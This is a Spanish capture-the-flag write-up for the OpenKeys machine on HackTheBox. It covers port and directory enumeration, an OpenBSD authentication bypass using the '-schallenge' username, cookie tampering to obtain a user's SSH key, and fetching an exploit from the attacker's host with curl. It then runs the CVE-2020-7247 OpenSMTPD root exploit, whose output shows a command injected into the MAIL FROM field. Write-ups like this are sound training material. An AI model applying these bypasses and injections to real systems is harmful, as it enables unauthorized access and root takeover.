OpenKeys es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo OpenBSD.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Openkeys 10.10.10.199 a /etc/hosts como openkeys.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Nmap 7.70 scan initiated Sun Nov 29 15:56:04 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.199 Nmap scan report for 10.10.10.199 Host is up (0.051s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) 80/tcp open http |_http-title: Site doesn't have a title (text/html). # Nmap done at Sun Nov 29 16:15:25 2020 -- 1 IP address (1 host up) scanned in 1161.55 seconds |
En el caso de esta máquina sólo disponemos del puerto 80 por lo que comenzaremos investigando el portal web existente.
Enumeración
Comenzamos revisando el portal web en el puerto 80 y observamos la siguiente pantalla de login:
Probamos diferentes formas de intentar hacer un bypass y saltar el login pero no conseguimos nada por lo que enumeraremos la web con gobuster para ver si encontramos algún directorio o fichero más en el mismo.
Y encontramos lo siguiente:
1 2 3 4 5 6 |
/images (Status: 301) /css (Status: 301) /includes (Status: 301) /js (Status: 301) /vendor (Status: 301) /fonts (Status: 301) |
Revisamos cada uno de los directorios y encontramos dos ficheros en la ruta /includes, uno de los cuales es un backup de un fichero php cuyo contenido es el siguiente:
Por lo que descubrimos que un usuario se llama jennifer, aunque no conocemos todavía nada más al respecto para intentar acceder a través del formulario de login descubierto.
Revisamos en google y encontramos una vulnerabilidad existente a través de la cual se puede hacer un bypass del login en el siguiente post:
https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt
Y nos fijamos principalmente en el siguiente texto:
1 2 3 4 |
This is the second piece of the puzzle: if an attacker specifies the username "-schallenge" (or "-schallenge:passwd" to force a passwd-style authentication), then the authentication is automatically successful and therefore bypassed. |
Por lo que probamos el acceso y efectivamente, podemos saltar el login con el usuario -schallenge aunque este no dispone de ningún dato interesante.
Sabiendo que podemos saltarnos el login, utilizaremos ahora burp suite para intentar modificar la petición y acceder con el usuario jennifer:
Así que cazamos la petición y añadimos el valor username=jennifer en la cookie consiguiendo con ello saltar el login y acceder con el usuario jennifer consiguiendo así su clave ssh:
Ahora utilizaremos esta misma clave ssh para acceder a la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
ssh -i /root/.ssh/jennifer.pem jennifer@10.10.10.199 The authenticity of host '10.10.10.199 (10.10.10.199)' can't be established. ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.199' (ECDSA) to the list of known hosts. Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2 OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. openkeys$ whoami jennifer openkeys$ |
Obteniendo la flag de user
Ahora que hemos conseguido acceder a la máquina con el usuario jennifer, nos vamos a la home de este y conseguimos nuestra flag de user:
1 2 3 4 5 6 |
openkeys$ ls -l total 4 -rw-r----- 1 jennifer jennifer 33 Jan 14 2020 user.txt openkeys$ cat user.txt 3xxxxxxxxxxxxxxxxxxxxxxxxxxx0 openkeys$ |
Primera parte realizada, así que ahora vamos a por root.
Escalado de privilegios
Para el escalado de privilegios, analizamos primero la versión del sistema operativo:
1 2 |
openkeys$ uname -a OpenBSD openkeys.htb 6.6 GENERIC#353 amd64 |
Revisamos en google y encontramos la vulnerabilidad CVE-2020-7247 a través de la cual podemos realizar un escalado de privilegios local a root.
Y encontramos en el repositorio de bcoles un script en bash para realizar esta tarea. Así que subimos nuestro exploit a la máquina:
1 2 3 4 |
openkeys$ curl http://10.10.14.16:1234/exploit --output exploit % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2829 100 2829 0 0 19376 0 --:--:-- --:--:-- --:--:-- 19376 |
Le damos permisos de ejecución:
1 |
openkeys$ chmod +x exploit |
Y lo ejecutamos consiguiendo acceso como root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
openkeys$ ./exploit OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247) [*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) [*] checking system ... [*] directory /tmp/.payload is writable [*] 019_smtpd_exec patch has not been installed [*] writing payload to /tmp/.payload ... [*] executing /tmp/.payload ... <<< 220 openkeys.htb ESMTP OpenSMTPD >>> EHLO localhost <<< 250-openkeys.htb Hello localhost [local], pleased to meet you <<< 250-8BITMIME <<< 250-ENHANCEDSTATUSCODES <<< 250-SIZE 36700160 <<< 250 HELP >>> MAIL FROM:<;/tmp/.payload;#@> <<< 250 2.0.0 Ok >>> RCPT TO:<jennifer@openkeys.htb> <<< 250 2.1.5 Destination address valid: Recipient ok >>> DATA <<< 354 Enter mail, end with "." on a line by itself >>> . <<< 250 2.0.0 da08d3d3 Message accepted for delivery >>> QUIT <<< 221 2.0.0 Bye [*] cleaning up /tmp/.payload ... [*] connecting to 127.0.0.1:1337 ... Connection to 127.0.0.1 1337 port [tcp/*] succeeded! id uid=0(root) gid=0(wheel) groups=0(wheel) whoami root |
Obteniendo la flag de root
Ahora que somos root sólo nos queda ir a la home de este a conseguir nuestra flag:
1 2 3 4 |
ls -l /root/root.txt -r-------- 1 root wheel 33 Jan 12 2020 /root/root.txt cat /root/root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxa |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace